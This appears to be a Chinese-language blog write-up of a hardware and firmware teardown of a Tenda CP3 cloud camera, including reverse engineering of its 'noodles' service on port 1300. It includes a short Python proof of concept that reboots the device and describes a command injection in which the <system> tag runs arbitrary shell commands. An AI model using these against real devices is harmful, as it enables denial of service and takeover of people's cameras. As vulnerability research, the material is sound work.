tendacp3

这里就先不放设备照片了,诸位可以自己在该页面寻找下设备型号。

这款路由器是通过云端进行数据传输的,即 摄像头 = 云端 = 手机,无web页面,且并未发现摄像头与手机直接通信。

摄像头

IMG_0338

前边这个黄色印字的pcb我并没有查出来具体是做什么的,但是我看这个设备介绍是有高清夜视能力的,我猜是这么个功能,不重要。

image-20220715093743157

使用了上海富瀚的FH8626V100,下面是各种文档,详细文档我没找到。

https://www.fullhan.com/index.php?c=article&id=221

https://www.fullhan.com/uploads/2021/11/163669725327888.pdf

https://blog.csdn.net/xue_nuo/article/details/125717256?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0-125717256-blog-122374192.pc_relevant_multi_platform_whitelistv2&spm=1001.2101.3001.4242.1&utm_relevant_index=3

https://blog.csdn.net/xue_nuo/article/details/122374192

IMG_0371

flash 为H25S64,从查出来的资料来看是8m的,很遗憾的是我的ch341a并不支持这个型号的闪存,所以提取写入固件操作也办不到。

只能吧信息放到这了,原谅我硬件知识的匮乏。

固件

这里因为flash型号的问题我没办法从固件提取,但是官网可以直接获取,且并没有加密。

image-20220715102403033

squashfs 文件系统,但解包出来的文件系统在cpio文件中。

image-20220715110812734

但涉及到一部分的文件还是在squashfs-root中

image-20220715111032612

只有一个root账户默认开启。密码并没有爆破出来。

通过rcS文件的分析和对uart的输出信息来看,主要为两个服务 noodles 和apollo。后边会有分析。

image-20220715113120175

文件格式为32位arm小端序

image-20220715112602198

uart

该设备有uart接口,并且将每个用处都标注出来了。但是是被堵上的,需要将杜邦线焊接上去。

(请忽略我的焊接技术,我真没学过)

IMG_0342

波特率为115200,tenda好多设备都都是这个。

下面是通过打印获取到的一些信息。

image-20220715143628881

这里理论上摁E可以不使用自动启动,但我没有成功。

image-20220715144742789

linux内核

image-20220715145126558

可以看到cpu相关的sdk。

image-20220715145228397

两个服务的启动。noodles 和 apollo,前面提到过

noodles监听了1300端口,但我并没有找到任何关于这个服务的相关信息。

apollo应该是apache apollo服务

Apache Apollo是一个代理服务器,其是在ActiveMQ基础上发展而来的,可以支持STOMP, AMQP, MQTT, Openwire, SSL, and WebSockets 等多种协议。

https://www.freesion.com/article/41891296353/

之后尝试逆向分析。


上次的坑来填了

之前没有系统学习过网络编程,花了一周时间把tinyhttpd的源代码阅读理解了一下,并且仿照用python写了一个简易的httpd,可以看我另一篇文章

noodles服务分析

通过分析发现noodles监听了1300端口

启动

sudo chroot . ./qemu-arm-static ./usr/bin/noodles

image-20220825143728754

可以使用nmap来查看是否监听1300

image-20220825143906273

可以看到1300端口已开放,并且noodles也对nmap有反应了

静态分析

对于程序的静态分析,可以从main函数来正向递进分析,也可以从一些字符串来分析,又或者从一些关键函数

这里通过nmap扫描时noodles的打印来查找

通过交叉引用发现在FUN_00011878函数中存在相关信息。

创建并监听1300端口

image-20220825152959870

image-20220825154343089

等待用户连接

image-20220825153205132

获取client传进来的内容

image-20220825153844262

image-20220825154440079

主要内容处理在下面相似的内容处

image-20220825155349794

1300端口大概做了这些事情

参数有一下几种

UPGRADE

BURNMAC

ELFEXEC

SYSTEM

SYSTEMEX

DOWNLOAD

UPLOAD

FLASHDUMP

BURNSN

READSN

WRITEENV

READENV

fun_00014f90()函数

image-20220826095918427

三个参数分别为从client传入的内容,字符串,0

image-20220826101125979

这里是xml参数处理。

成果

这里出了一个代码注入和一个设备重启

设备重启

设备重启是利用了代码问题,更像是设计时不严谨导致的

当标签中含有upgrade时,会运行到FUN_000146f4函数,执行完毕后必然会执行到FUN_00016b90函数来使设备重启。

image-20220826093937746

只需要运行到此处,脚本会使设备重启

image-20220826093948721

poc

import socket
import time
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',1300))
s.send("<UPGRADE>test</UPGRADE>".encode())
print(s.recv(1024))
s.close()

代码注入

这里更像一个后门,直接在 FUN_000140b4函数中发现,如果<system></system>中的参数不是iwlist便会直接使用system执行

image-20220826095120280


tendacp3
http://example.com/article/e3065a82.html
Author
p1yang
Posted on
January 30, 2023
Licensed under